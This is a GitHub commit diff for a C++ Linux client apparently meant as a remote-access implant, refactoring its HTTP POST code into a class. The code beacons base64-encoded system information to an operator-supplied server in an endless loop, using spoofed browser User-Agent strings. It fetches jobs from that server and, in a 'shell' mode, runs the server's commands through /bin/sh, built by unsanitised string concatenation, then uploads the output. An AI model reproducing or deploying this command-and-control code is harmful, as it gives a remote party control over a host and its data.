Skip to content

Commit b10946b

Browse files
committed
1) Create HttpPost class 2) Removed bug from Shell in operation.cpp
1 parent 23d190d commit b10946b

6 files changed

Lines changed: 71 additions & 172 deletions

File tree

include/http.h

Lines changed: 19 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,23 @@
2525
#include <string>
2626
#include "base64.h"
2727

28-
#define READ_BUFFER_SIZE 1024 // Receiving Buffer Size in bytes
28+
//#define READ_BUFFER_SIZE 1024 // Receiving Buffer Size in bytes
2929

30-
std::wstring httpPost(const std::wstring &url, const std::wstring &port, const std::wstring &request);
30+
class HttpPost{
31+
32+
using LINUX_SOCKET_FD = int;
33+
34+
private:
35+
const unsigned int READ_BUFFER_SIZE = 1024;
36+
LINUX_SOCKET_FD tcpSocket;
37+
38+
private:
39+
int createTcpSocket(void);
40+
int connectTcp(const std::wstring &url, const std::wstring &port);
41+
int sendHttpRequest(const std::wstring &request);
42+
std::wstring recvHttpResponse(void);
43+
44+
public:
45+
std::wstring operator()(const std::wstring &url, const std::wstring &port, const std::wstring &request); // Call Operator
46+
~HttpPost();
47+
};

include/operations.h

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -37,11 +37,5 @@
3737
#endif
3838

3939

40-
// extern std::queue<std::wstring> responseQueue;
41-
// extern std::mutex responseQueueMutex;
42-
// extern std::queue<std::wstring> jobQueue;
43-
// extern std::mutex jobQueueMutex;
44-
// extern std::wstring jsonSysInfo;
45-
4640
bool isJobAvailable(const std::wstring &replyFromServe);
4741
void startJob(SharedResourceManager &sharedResources);

src/http.cpp

Lines changed: 26 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -33,21 +33,22 @@
3333

3434
// ============================ PRIVATE FUNCTIONS ============================
3535

36-
int createTcpSocket(void){
36+
int HttpPost::createTcpSocket(void){
3737
/* Build the socket. */
3838
struct protoent* protoent = getprotobyname("tcp");
3939
if (protoent == NULL) {
4040
perror("getprotobyname");
4141
return -1;
4242
}
43-
int tcpSocket = socket(AF_INET, SOCK_STREAM, protoent->p_proto);
43+
tcpSocket = socket(AF_INET, SOCK_STREAM, protoent->p_proto);
4444
if (tcpSocket == -1) {
4545
perror("socket");
4646
return -1;
4747
}
48+
return 0;
4849
}
4950

50-
int connectTcp(const int &socket, const std::wstring &url, const std::wstring &port){
51+
int HttpPost::connectTcp(const std::wstring &url, const std::wstring &port){
5152
/* Build the address. */
5253
struct hostent *hostent = gethostbyname(ws2s(url).c_str());
5354
if (hostent == NULL) {
@@ -66,14 +67,14 @@ int connectTcp(const int &socket, const std::wstring &url, const std::wstring &p
6667
sockaddr_in.sin_port = htons(server_port);
6768

6869
/* connect. */
69-
if (connect(socket, (struct sockaddr*)&sockaddr_in, sizeof(sockaddr_in)) == -1) {
70+
if (connect(tcpSocket, (struct sockaddr*)&sockaddr_in, sizeof(sockaddr_in)) == -1) {
7071
//perror("connect");
71-
close(socket);
72+
close(tcpSocket);
7273
return -2;
7374
}
7475
}
7576

76-
int sendHttpRequest(const int &socket, const std::wstring &request){
77+
int HttpPost::sendHttpRequest(const std::wstring &request){
7778
ssize_t nbytes_total;
7879
ssize_t nbytes_last;
7980
size_t request_len = request.length();
@@ -84,44 +85,44 @@ int sendHttpRequest(const int &socket, const std::wstring &request){
8485
std::wstring wideChunk = request.substr(nbytes_total);
8586
std::string narrowChunk = ws2s(wideChunk);
8687
size_t narrowBytesToSend = narrowChunk.length();
87-
int nbytes_last = write(socket, narrowChunk.c_str(), static_cast<int>(narrowBytesToSend));
88+
int nbytes_last = write(tcpSocket, narrowChunk.c_str(), static_cast<int>(narrowBytesToSend));
8889
if (nbytes_last == -1) {
89-
close(socket);
90+
close(tcpSocket);
9091
return -1;
9192
//return std::wstring();
9293
}
9394
nbytes_total += nbytes_last; // Increment by the number of bytes sent
9495
}
9596
}
9697

97-
std::wstring recvHttpResponse(const int &socket){
98+
std::wstring HttpPost::recvHttpResponse(void){
9899
/* Read the response with timeout. */
99100
char readBuff[READ_BUFFER_SIZE] = {};
100101
ssize_t nbytes=0;
101102

102103
fd_set read_fds;
103104
FD_ZERO(&read_fds);
104-
FD_SET(socket, &read_fds);
105+
FD_SET(tcpSocket, &read_fds);
105106

106107
struct timeval timeout;
107108
timeout.tv_sec = 0;
108109
timeout.tv_usec = 500 * 1000; // 500 miliseconds
109110

110111
std::string tmpDataRead;
111-
int select_result = select(socket + 1, &read_fds, NULL, NULL, &timeout);
112+
int select_result = select(tcpSocket + 1, &read_fds, NULL, NULL, &timeout);
112113
if (select_result == -1) {
113114
// perror("select");
114-
close(socket);
115+
close(tcpSocket);
115116
return std::wstring();
116117
}
117118
else if (select_result == 0) {
118-
// Timeout occurred, no data received within 2 seconds
119+
// Timeout occurred, if no data received within 2 seconds
119120
//std::cout << "Timeout occurred. No data received within 2 seconds." << std::endl;
120-
close(socket);
121+
close(tcpSocket);
121122
return std::wstring();
122123
}
123-
if (FD_ISSET(socket, &read_fds)) {
124-
while ((nbytes = read(socket, readBuff, READ_BUFFER_SIZE)) > 0) {
124+
if (FD_ISSET(tcpSocket, &read_fds)) {
125+
while ((nbytes = read(tcpSocket, readBuff, READ_BUFFER_SIZE)) > 0) {
125126
// Process the received data
126127
//write(STDOUT_FILENO, readBuff, nbytes);
127128
readBuff[nbytes] = 0x00;
@@ -130,7 +131,7 @@ std::wstring recvHttpResponse(const int &socket){
130131
}
131132
if (nbytes == -1) {
132133
perror("read");
133-
close(socket);
134+
close(tcpSocket);
134135
return std::wstring();
135136
}
136137
return s2ws(tmpDataRead);
@@ -139,14 +140,14 @@ std::wstring recvHttpResponse(const int &socket){
139140

140141
// ============================ PUBLIC API ============================
141142

142-
std::wstring httpPost(const std::wstring &url, const std::wstring &port, const std::wstring &request) {
143+
std::wstring HttpPost::operator()(const std::wstring &url, const std::wstring &port, const std::wstring &request) {
143144

144145
const int tcpSocket = createTcpSocket();
145146
if(tcpSocket == -1){
146147
exit(-1);
147148
}
148149

149-
int retValue = connectTcp(tcpSocket, url, port);
150+
int retValue = connectTcp(url, port);
150151
if(retValue == -1){
151152
exit(-1);
152153
}
@@ -155,11 +156,11 @@ std::wstring httpPost(const std::wstring &url, const std::wstring &port, const s
155156
return std::wstring();
156157
}
157158

158-
retValue = sendHttpRequest(tcpSocket, request);
159+
retValue = sendHttpRequest(request);
159160
if(retValue == -1){
160161
return std::wstring();
161162
}
162-
std::wstring readBuffStr = recvHttpResponse(tcpSocket);
163+
std::wstring readBuffStr = recvHttpResponse();
163164
if(readBuffStr.empty()){
164165
return std::wstring();
165166
}
@@ -172,4 +173,8 @@ std::wstring httpPost(const std::wstring &url, const std::wstring &port, const s
172173
}
173174
close(tcpSocket);
174175
return decodedData;
176+
}
177+
178+
HttpPost::~HttpPost(){
179+
close(tcpSocket);
175180
}

src/main.cpp

Lines changed: 24 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,18 @@
3131
#define NUM_OF_ARGS 3
3232

3333

34+
std::wstring createHeartbeatRequest(const std::wstring &sysInfoInJson){
35+
36+
std::string dataBase64 = base64_encode((unsigned char*)ws2s(sysInfoInJson).c_str(), sysInfoInJson.length());
37+
std::wstringstream contentLengthStream;
38+
contentLengthStream << dataBase64.length();
39+
std::wstring request = L"POST / HTTP/1.1\r\nHost: github.com/tajiknomi/ClientHTTP_linux?HeartBeatSignal\r\nAccept-Encoding: identity\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64)\r\nContent-Type: application/octet-stream\r\n";
40+
request += L"Content-Length: " + contentLengthStream.str() + L"\r\n";
41+
request += L"Connection: close\r\n";
42+
request += L"\r\n" + s2ws(dataBase64);
43+
return request;
44+
}
45+
3446
int main(int argc, char** argv) {
3547

3648
if(argc != NUM_OF_ARGS){
@@ -40,43 +52,32 @@ int main(int argc, char** argv) {
4052

4153
const std::wstring url{ s2ws(argv[1]) };
4254
const std::wstring port{ s2ws(argv[2]) };
55+
4356
if (!isValidPort(ws2s(port))) {
4457
return -1;
4558
}
46-
47-
std::wstring request = L"POST / HTTP/1.1\r\nHost: github.com/tajiknomi/ClientHTTP_linux?HeartBeatSignal\r\nAccept-Encoding: identity\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64)\r\nContent-Type: application/octet-stream\r\n";
4859
const std::wstring sysInfo {getSysInfo()};
49-
if(sysInfo.empty()){
50-
std::cout << "Couldn't extract system information\n";
51-
//exit(-1); // Inform CRC about the this status by sending log or json NULL bytes
52-
}
5360
SharedResourceManager sharedResources;
5461
sharedResources.setSysInfoInJson(sysInfo);
55-
56-
std::string dataBase64 = base64_encode((unsigned char*)ws2s(sysInfo).c_str(), sysInfo.length());
57-
std::wstringstream contentLengthStream;
58-
contentLengthStream << dataBase64.length();
59-
request += L"Content-Length: " + contentLengthStream.str() + L"\r\n";
60-
request += L"Connection: close\r\n";
61-
request += L"\r\n" + s2ws(dataBase64);
62-
62+
const std::wstring heartbeatRequestToServer {createHeartbeatRequest(sysInfo)};
63+
std::wstring request { heartbeatRequestToServer };
6364
std::wstring replyFromServerInJson;
64-
std::wstring response;
65-
const std::wstring heartbeatRequestToServer = request;
65+
std::wstring response;
66+
HttpPost httpPost;
6667

6768
while(true){
6869
if(sharedResources.isResponseAvailable()){ // If there is a response to be send to the server
6970
request = sharedResources.popResponse();
71+
replyFromServerInJson = httpPost(url, port, request);
72+
}
73+
else { // else, send alive signal to server
74+
replyFromServerInJson = httpPost(url, port, heartbeatRequestToServer);
7075
}
71-
else { // else, send the standard http post message to the server
72-
request = heartbeatRequestToServer;
73-
}
74-
replyFromServerInJson = httpPost(url, port, request);
75-
if(isJobAvailable(replyFromServerInJson)){ // Check the response from the server to see if it is a job request
76+
if(isJobAvailable(replyFromServerInJson)){ // Check the response from the server to see if it is a job request
7677
sharedResources.pushJob(replyFromServerInJson);
7778
std::thread jobThread(startJob, std::ref(sharedResources)); // Spawn a thread if there is a job waiting in the queue
7879
jobThread.detach();
79-
}
80-
request = heartbeatRequestToServer;
80+
}
8181
}
82+
return 0;
8283
}

src/operations.cpp

Lines changed: 2 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -59,10 +59,6 @@ bool isJobAvailable(const std::wstring &replyFromServer){
5959

6060
void startJob(SharedResourceManager &sharedResources){
6161

62-
// jobQueueMutex.lock();
63-
// std::wstring job (jobQueue.front());
64-
// jobQueue.pop();
65-
// jobQueueMutex.unlock();
6662
std::wstring job = sharedResources.popJob();
6763
std::wstring request = L"POST / HTTP/1.1\r\nHost: github.com/tajiknomi/ClientHTTP_linux?DataSignal\r\nAccept-Encoding: gzip, deflate, br\r\nUser-Agent: chromium/5.0 (Windows NT 10.0; Win64; x64)\r\nContent-Type: application/octet-stream\r\n";
6864
std::wstring dataToSend;
@@ -338,7 +334,6 @@ void startJob(SharedResourceManager &sharedResources){
338334
}
339335
}
340336
else if (mode == L"shell") {
341-
342337
std::wstring RecievedCommand{ json_ExtractValue(job, L"command") };
343338
RecievedCommand = ReplaceTildeWithPath(RecievedCommand);
344339
std::wstring cd{ json_ExtractValue(job, L"cd") };
@@ -357,7 +352,7 @@ void startJob(SharedResourceManager &sharedResources){
357352
}
358353
else {
359354
if(!RecievedCommand.empty()){
360-
std::wstring command = L"/bin/sh -c \"cd " + currentPath.wstring() + L" && " + RecievedCommand + L"\"";
355+
std::wstring command = L"/bin/sh -c cd \"" + currentPath.wstring() + L"\" && " + RecievedCommand;
361356
std::wstring emptyString;
362357
dataToSend = executeCommand(L"/bin/sh", command, emptyString);
363358
}
@@ -374,13 +369,9 @@ void startJob(SharedResourceManager &sharedResources){
374369
dataToSend = s2ws(base64_encode((unsigned char*)dataToSendStr.c_str(), dataToSendStr.length()));
375370
std::wstringstream contentLengthStream;
376371
contentLengthStream << dataToSend.length();
377-
request += L"Content-Length: " + contentLengthStream.str() + L"\r\n";
378-
372+
request += L"Content-Length: " + contentLengthStream.str() + L"\r\n";
379373
request += L"Connection: close\r\n";
380374
request += L"\r\n" + dataToSend;
381375

382376
sharedResources.pushResponse(request);
383-
// responseQueueMutex.lock();
384-
// responseQueue.push(request);
385-
// responseQueueMutex.unlock();
386377
}

0 commit comments

Comments
 (0)